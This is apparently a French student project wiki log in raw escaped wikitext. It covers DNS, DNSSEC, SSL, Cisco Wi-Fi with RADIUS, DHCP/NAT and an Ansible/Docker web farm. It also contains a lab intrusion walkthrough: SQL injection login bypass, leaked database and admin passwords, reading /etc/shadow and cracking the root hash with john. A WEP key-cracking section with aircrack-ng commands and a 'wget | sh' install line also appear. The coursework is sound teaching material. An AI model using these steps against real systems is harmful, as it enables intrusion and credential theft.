Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
===Architecture générale de la ferme===&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles, l'une sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA), l'autre sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (commande &amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt; avant de la relancer.&lt;br /&gt;
&lt;br /&gt;
'''Interfaces'''&lt;br /&gt;
&lt;br /&gt;
On associe l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt; à la VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;. Pour cela on l'ajoute dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.21 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on ajoute une interface dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.7&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.21&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mascarade'''&lt;br /&gt;
&lt;br /&gt;
On met en place une mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
'''Mise en place d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Inventaire'''&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
'''Playbook et roles'''&lt;br /&gt;
&lt;br /&gt;
On va créer plusieurs rôles qui seront lancés via un playbook (&amp;lt;code&amp;gt;/root/playbooks/&amp;lt;/code&amp;gt;). Chaque rôle à son propre sous-répertoire (&amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet de configurer le motd et le NTP. Il permet également d'installer les packages nécessaires.&lt;br /&gt;
&lt;br /&gt;
===Installation de &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
On installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; par l'intermédiaire du playbook sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;. Pour cela on utilise un rôle déjà créé par &amp;lt;code&amp;gt;geerlingguy&amp;lt;/code&amp;gt;. Les variables docker_&amp;lt;code&amp;gt;apt_gpg_key&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker_apt_repository&amp;lt;/code&amp;gt; permettent que le rôle se comporte comme si la VM est sous debian version buster.&lt;br /&gt;
&lt;br /&gt;
'''Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot; &lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
On met en place un conteneur qui contient notre site web et démarre apache2 sur le port 80.&lt;br /&gt;
En premier lieu on installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec &amp;lt;code&amp;gt;wget -qO - get.docker.com | sh&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Dockerfile'''&lt;br /&gt;
&lt;br /&gt;
Il faut ensuite réaliser un &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt; toujours sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; :&lt;br /&gt;
 FROM httpd:latest&lt;br /&gt;
 MAINTAINER NourClara&lt;br /&gt;
 COPY ./index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;index.html&amp;lt;/code&amp;gt; dans lequel se trouve le contenu du site web doit se trouver dans le même répertoire que le &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Construction et lancement de l'image docker'''&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserver .&lt;br /&gt;
On aurait pu mettre girolle au lieu de webserver par exemple.&lt;br /&gt;
 docker run -d webserver&lt;br /&gt;
&lt;br /&gt;
On vérifie que l'image est construite et lancée correctement avec les commandes &amp;lt;code&amp;gt;docker images&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker ps -a&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Dépôt docker local''' &lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on installe un dépôt local qui accueillera notre image docker.&lt;br /&gt;
 docker run -d -p 5000:5000 --restart always --name registry registry:2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
